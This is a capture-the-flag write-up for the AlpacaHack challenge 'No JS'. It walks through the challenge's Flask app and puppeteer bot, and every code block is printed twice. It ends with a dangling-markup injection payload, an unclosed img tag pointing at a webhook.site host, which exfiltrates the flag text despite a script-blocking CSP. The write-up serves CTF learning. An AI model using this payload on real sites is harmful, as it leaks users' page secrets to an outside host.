June 14, 2026
No JS | AlpacaHack
Hey guys how are you doing hope you are doing well. Kicking off a fresh writeup after Final Exams. Today challenge will be No JS from…
00xCanelo
3 min read
Hey guys how are you doing hope you are doing well. Kicking off a fresh writeup after Final Exams. Today challenge will be No JS from Alpacahack
First we have the source code lets start analysis compose.yaml
services:
web:
build:
context: ./web
restart: unless-stopped
init: true
ports:
- ${PORT_WEB:-3000}:3000
bot:
build:
context: ./bot
restart: unless-stopped
init: true
environment:
- PORT=1337
- APP_URL=http://web:3000/
- FLAG=Alpaca{REDACTED}
ports:
- ${PORT_BOT:-1337}:1337services:
web:
build:
context: ./web
restart: unless-stopped
init: true
ports:
- ${PORT_WEB:-3000}:3000
bot:
build:
context: ./bot
restart: unless-stopped
init: true
environment:
- PORT=1337
- APP_URL=http://web:3000/
- FLAG=Alpaca{REDACTED}
ports:
- ${PORT_BOT:-1337}:1337as we can see the flag is variable in the environment so lets see if it will be saved in a file or what, so we will open web/Dockerfile
FROM python:3.11-slim
WORKDIR /app
COPY requirements.txt .
RUN pip install --no-cache-dir -r requirements.txt
COPY app.py .
CMD ["flask", "run", "--host=0.0.0.0", "--port=3000"]FROM python:3.11-slim
WORKDIR /app
COPY requirements.txt .
RUN pip install --no-cache-dir -r requirements.txt
COPY app.py .
CMD ["flask", "run", "--host=0.0.0.0", "--port=3000"]Nope so the flag now is not a file
Now lets lets view the web/app.py
import re
from flask import Flask, request, Response
app = Flask(__name__)
@app.get("/")
def index():
username = request.args.get("username", "guest")
flag = request.cookies.get("flag", "no_flag")
html = """<!doctype html>
<html>
<head>
<meta charset="utf-8">
</head>
<body>
<p>Hello [[username]]!</p>
<p>Your flag is here: [[flag]]</p>
<form>
<input name="username" placeholder="What's your name?"><br>
<button type="submit">Render</button>
</form>
</body></html>"""
# Remove spaces/linebreaks
html = re.sub(r">\s+<", "><", html)
# Simple templating system
# Since Javascript is disabled, we shouldn't need to worry about XSS, right?
html = html.replace("[[flag]]", flag)
html = html.replace("[[username]]", username)
response = Response(html, mimetype="text/html")
# This Content-Security-Policy (or CSP) header prevents any Javascript from running!
response.headers["Content-Security-Policy"] = "script-src 'none'"
return responseimport re
from flask import Flask, request, Response
app = Flask(__name__)
@app.get("/")
def index():
username = request.args.get("username", "guest")
flag = request.cookies.get("flag", "no_flag")
html = """<!doctype html>
<html>
<head>
<meta charset="utf-8">
</head>
<body>
<p>Hello [[username]]!</p>
<p>Your flag is here: [[flag]]</p>
<form>
<input name="username" placeholder="What's your name?"><br>
<button type="submit">Render</button>
</form>
</body></html>"""
# Remove spaces/linebreaks
html = re.sub(r">\s+<", "><", html)
# Simple templating system
# Since Javascript is disabled, we shouldn't need to worry about XSS, right?
html = html.replace("[[flag]]", flag)
html = html.replace("[[username]]", username)
response = Response(html, mimetype="text/html")
# This Content-Security-Policy (or CSP) header prevents any Javascript from running!
response.headers["Content-Security-Policy"] = "script-src 'none'"
return responseAs we can see here the page takes a username parameter and there no any type of sanitization. Lets continue, There some comments that they disabled JS using which make sense "Challenge name" So they think there is now way for XSS because of the CSP which is set to
"script-src 'none'""script-src 'none'"Now lets view the other files bot/bot.js
import puppeteer from "puppeteer";
const sleep = async (ms) => new Promise((resolve) => setTimeout(resolve, ms));
const FLAG = process.env.FLAG ?? "Alpaca{REDACTED}";
const APP_URL = process.env.APP_URL ?? "http://localhost:8080/";
export const visit = async (url) => {
console.log(`Start visiting: ${url}`);
const browser = await puppeteer.launch({
headless: "new",
pipe: true,
executablePath: "/usr/bin/chromium",
args: [
"--no-sandbox",
"--disable-setuid-sandbox",
"--disable-dev-shm-usage",
"--disable-gpu",
'--js-flags="--noexpose_wasm"',
],
});
try {
await browser.setCookie({
"name": "flag",
"value": FLAG,
"domain": new URL(APP_URL).hostname,
"path": "/",
"httpOnly": true,
})
const page = await browser.newPage();
await page.goto(url, { timeout: 5000 });
await sleep(5000);
await page.close();
} catch (e) {
console.error(e);
}
await browser.close();
console.log(`End visiting: ${url}`);
};import puppeteer from "puppeteer";
const sleep = async (ms) => new Promise((resolve) => setTimeout(resolve, ms));
const FLAG = process.env.FLAG ?? "Alpaca{REDACTED}";
const APP_URL = process.env.APP_URL ?? "http://localhost:8080/";
export const visit = async (url) => {
console.log(`Start visiting: ${url}`);
const browser = await puppeteer.launch({
headless: "new",
pipe: true,
executablePath: "/usr/bin/chromium",
args: [
"--no-sandbox",
"--disable-setuid-sandbox",
"--disable-dev-shm-usage",
"--disable-gpu",
'--js-flags="--noexpose_wasm"',
],
});
try {
await browser.setCookie({
"name": "flag",
"value": FLAG,
"domain": new URL(APP_URL).hostname,
"path": "/",
"httpOnly": true,
})
const page = await browser.newPage();
await page.goto(url, { timeout: 5000 });
await sleep(5000);
await page.close();
} catch (e) {
console.error(e);
}
await browser.close();
console.log(`End visiting: ${url}`);
};We can see that the cookie is the flag. The problem is the cookie is set to httpOnly so no way to get the cookie through simple XSS
Analysis part is done lets start the exploitation
first lets see what does the regex in the app.py make
html = re.sub(r">\s+<", "><", html)html = re.sub(r">\s+<", "><", html)
<!doctype html><html><head><meta charset="utf-8"></head><body><p>Hello [[username]]!</p><p>Your flag is here: [[flag]]</p><form><input name="username" placeholder="What's your name?"><br><button type="submit">Render</button></form></body></html><!doctype html><html><head><meta charset="utf-8"></head><body><p>Hello [[username]]!</p><p>Your flag is here: [[flag]]</p><form><input name="username" placeholder="What's your name?"><br><button type="submit">Render</button></form></body></html>okay now the interesting part is
html = html.replace("[[username]]", username)html = html.replace("[[username]]", username)the username we add is directly added to response html as you can see
lets try to find a way to see the response of the bot so lets try to see our first through a webhook we can use
<img src="YOURWEBHOOK"><img src="YOURWEBHOOK">
we can try not to close the img lets see the response
<img src=canelo<img src=canelo
Very good the part the flag is suppose to appear is in a text lets try to connect to our webhook
<img src="http://webhook.site/YOURHOOK/?c=<img src="http://webhook.site/YOURHOOK/?c=
Now lets open our webhook
Nice we go the flag from our page lets send it to the bot
the url to report will be
http://web:3000/?username=<img src="http://webhook.site/YOURHOOK/?CaneloIsTheBest=http://web:3000/?username=<img src="http://webhook.site/YOURHOOK/?CaneloIsTheBest=click report
and baaaam 🔥🔥🔥🔥
Thanks for reading I hope you enjoyed it. You can take a look on my other writeups
These Write-ups are made and will always be made by: not 00xCanelo